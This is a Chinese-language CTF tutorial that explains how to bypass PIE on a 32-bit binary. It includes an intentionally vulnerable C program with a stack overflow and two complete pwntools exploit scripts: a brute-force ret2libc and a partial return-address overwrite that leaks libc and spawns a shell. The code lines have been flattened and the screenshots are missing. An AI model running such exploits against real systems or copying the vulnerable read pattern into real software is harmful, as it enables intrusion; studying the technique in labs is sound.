这里跟大家聊一聊二进制文件保护中的pie(即地址随机化),也就是程序每次运行,一些数据所在地址就会变更,但是这仅仅是libc的基地址发生变化,由于只是一个内存页的单位发生变化,那么地址的低三位就不会发生变化,即4KB(0x1000)不变。
绕过技巧:通过溢出覆盖已有地址的低三位就可以跳转到我们想要的地址上。
直接上例题
//gcc pwn2.c -m32 -Wl,-z,relro,-z,now -pie -o pwn2_2
#include <unistd.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x100);
write(1,buffer,0x100);
}
int main(){
fun();
return 0;
}
编译参数:gcc pwn2.c -m32 -Wl,-z,relro,-z,now -pie -o pwn2_2
如果报错,说找不到unistd.h这个文件,且系统为64位,用命令:sudo apt install libc6-dev-i386
checksec:
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
只有canary关了,其他保护都开启了。
解法1:(爆破)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
libc = ELF('/lib32/libc.so.6') p_system = 0xf75ab000 + libc.symbols['system'] p_binsh = 0xf75ab000 + libc.search('/bin/sh').next()
while 1: cn = process('./pwn2_2') pay = 'a'*0x28 + 'bbbb' + p32(p_system) +'bbbb' + p32(p_binsh) cn.send(pay) cn.recv() try: cn.sendline('echo aaaaa') echo = cn.recv()[:4] print echo except: print 'try fail' cn.close() continue if echo == 'aaaa': cn.interactive() print 'got end' cn.close()
|
解法二:(pie低位覆盖,之后就是ret2libc套路)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from LibcSearcher import * from pwn import * import sys context.log_level='debug #context.arch='amd64 elf=ELF("./pwn2_2") libc=ELF("/lib32/libc.so.6") sh = process('./pwn2_2')
payload = 'a'*0x28 + 'bbbb' + '\x20'
sh.send(payload)
sh.recvuntil('bbbb') sh.recv(16)
start_main = u32(sh.recv(4)) - 247
sh.recv() base = start_main - libc.symbols['__libc_start_main'] sys_addr = base + libc.symbols['system'] binsh_addr = base + libc.search('/bin/sh').next() payload = 'a'*0x28 + 'bbbb' + p32(sys_addr) + 'cccc' + p32(binsh_addr)
sh.send(payload) sh.recv() sh.interactive()
|
脚本解释补充:
1.’\x20’返回到fun函数处,我们可以看一下ida:

上图就是fun函数的汇编代码截图,由于开了pie,对应地址在程序加载时候都不是对应的,但是最后两位的地址都是一样的,调试结果:

我们把最低位覆盖成20即可,也可以验证一下pie的地址随机化,我们让程序启动第二次。

跟第一次fun函数起始地址不一样。但是低位一样,验证pie的特性。
2.为什么’__libc_start_main’-247为libc_base?
答:调试寻找到的,根据gef和栈中的数据。
直接上调试的图:
由于破坏了’\x00’终止,write函数会输出栈中的数据,直到遇到’\x00才会停止’,
